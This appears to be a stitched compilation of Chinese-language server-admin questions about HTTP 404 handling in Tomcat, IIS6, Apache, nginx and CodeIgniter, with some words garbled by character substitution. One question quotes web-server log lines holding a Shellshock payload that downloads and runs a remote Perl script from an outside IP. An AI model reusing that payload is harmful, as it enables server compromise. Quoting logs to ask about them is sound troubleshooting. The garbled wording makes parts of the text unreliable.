我正在运行一个Apache Tomcat服务器。 进行一些安全testing我注意到,当我尝试访问一个不存在的元素而不是返回一个404状态码并将我redirect到默认的错误页面时,我的服务器返回了默认错误页面的200个HTTP状态码。 我怀疑这不是这个问题唯一的失败。 任何人都可以build议我一个检查最常见的HTTP状态代码的过程?
我正在尝试在IIS6(Windows Server 2003)中提供epub文件,但是浏览器提供了404 Not Found页面。 我如何在IIS6中提供EPUB? 打开IIS Microsoftpipe理控制台(MMC),右键单击本地计算机名称,然后单击属性 。 点击MIMEtypes 。 点击新build 。 在“ 扩展名”框中,键入所需的文件扩展名( .epub )。 在MIMEtypes框中,键入application/epub+zip 。 然后单击确定 : 应用新的设置。 请注意,您必须重新启动万维网发布服务或等待工作进程回收才能使更改生效。 返回到“ MIMEtypes”对话框,并确认您的更改未在IIS重新启动时保存: 同时确认IIS仍然无法提供epub文件: 我如何从IIS 6(Windows Server 2003)提供EPUB? 奖金阅读 IIS 6.0不提供未知的MIMEtypes
例如,如果有人input不存在的url,则会显示404页面并显示在底部 Apache / 2.2.21(Unix)mod_ssl / 2.2.21 OpenSSL / 0.9.8e-fips-rhel5 mod_auth_passthrough / 2.1 mod_bwlimited / 1.4 FrontPage / 5.0.2.2635服务器在india.decon.itndevelopment.com端口80 我想删除该行,我运行cPanel
目前的情况是,由于域名redirect,我们在我们网站的不同地方寻找robots.txt的机器人获得了成千上万的404错误。 我们的旧网站是由多个域名的dotnetnuke驱动的迷宫式多站点。 我们已经转换到一个域名WordPress的单一网站。 剩下的域名现在只是redirect到网站上的类别。 这意味着googlebot,bingbot和其他许多人反复尝试索引以前是成熟的网站和redirect的领域。 www.EXAMPLE.co.ukredirect至www.EXAMPLE.co.uk/challenge/ 所以/challenge/robots.txt有一千多个404s 和其他redirect一样,最终在/walktoschool/robots.txt等等 有一个聪明的方式来redirect机器人? 或者用不同的方式处理这个问题,或者让机器人停下来? 我们的新网站甚至不使用robots.txt,它使用htaccess与Better WP Security结合使用。 我已经向Google和Bing提出了重新抓取新网站的请求,但这是结果。 我是一个非营利组织的业余网站pipe理员,我真的不得不在地面上跑,任何帮助将受到感谢!
我试图在我的域的子目录中设置Codeigniter。 目前我只在索引页面上从Codeigniter获得一个404。 一旦想要去example.com/api/welcome/index我从nginx获得一个404。 我的nginx.conf : location /api/ { alias /var/www/api/; try_files $uri $uri/ /api/index.php =404; location ~ \.php$ { try_files $uri /index.php =404; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_index index.php; fastcgi_pass backend; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; } } 和Codeigniter.conf : $config['base_url'] = 'https:/example.com/api/'; $config['uri_protocol'] = 'REQUEST_URI'; $config['index_page'] = '';
如果发生404错误,我的networking服务器会通过电子邮件发送给我 我只有像http://www.example.com/administrator等常用的404。 但最近我不断收到http://www.example.com/hello的请求。 我似乎从世界各地得到他们。 185.63.188.120 – – [21/Dec/2015:08:35:54 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl GNUFISH;rm -rf /tmp/GNUFISH*\"" 185.63.188.120 – – [21/Dec/2015:08:35:55 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;perl /tmp/GNUFISH*;perl […]
我正在与托pipe公司合作。 我需要他们为我的一个页面设置301redirect。 我真的关心在这个特定页面的search引擎排名。 他们声称,为了做301redirect,他们将删除他们的服务器上的页面,将触发一个404,他们将回应一个301新的地址。 这是我的理解,你不能做一个404和301,但我只是一个程序员。 我不确定他们是否使用IIS。 我所知道的是他们专注于ColdFusion托pipe。 谢谢
我有一个Tomcat说已经部署的web应用程序,但是当我去到它的URL时,我得到了一个404。 war文件被称为sonar.war,并被部署在WebApps中。 我可以看到它正在部署的日志(也是因为它会重新创build其数据库表,如果我删除所有的表,并重新启动Tomcat),并通过使用JConsole我可以看到它是在Mbeans->Catalina->Host->Localhost->Attributes->children作为webmodule。 在同一台机器上也是hudson.war,工作正常 – 我确定我连接到正确的机器,因为我可以删除hudson.war和哈德森从URL中消失。 日志中没有任何东西; 我曾尝试更改日志级别以包含更多信息,但我仍然看不到任何内容。 任何想法/build议? 如果需要的话,我很高兴将一个debugging器附加到Tomcat实例上,以便尝试解决发生的事情,但是我不确定什么是入口点,所以指向我可能想要插入断点的指针也是赞赏。 我使用的是Tomcat 6,Tomcat前面没有任何东西(比如Apache)。
我想nginx处理404错误状态,并将其redirect到另一个域。 在标题“位置:”被更新,但状态仍然是404,但应该是301。 这是我的代码: # error handling error_page 404 @404; log_not_found off; proxy_intercept_errors on; 和: location @404 { rewrite ^ http://www.example.com/404.html? permanent; } 所以下面的命令lynx -head -dump 'http://localhost:9999/a_404_error'给了我: HTTP/1.1 404 Not Found Server: nginx/0.8.54 Date: Mon, 11 Apr 2011 18:59:12 GMT Content-Type: text/html Content-Length: 169 Connection: close Location: http://www.example.com/404.html 任何想法 ?
我有一个托pipe多个域的服务器。 几天前,我不得不重新安装Apache,然后在浏览器中inputIP地址返回一个404错误。 我仍然可以通过域名访问所有正确托pipe的网站。 例如,说域名myserver.com指向/ var / www。 当我键入http://myserver.com我得到/ var / www托pipe的页面,但IP地址返回404.我无法访问http:///index.html或类似的东西。 谈到像这样的情况,我实际上是一个nb。 我检查了Apache的configuration文件,但不明白出了什么问题。 对不起,如果我的问题不清楚,请告诉我,如果我要添加更多的信息。 谢谢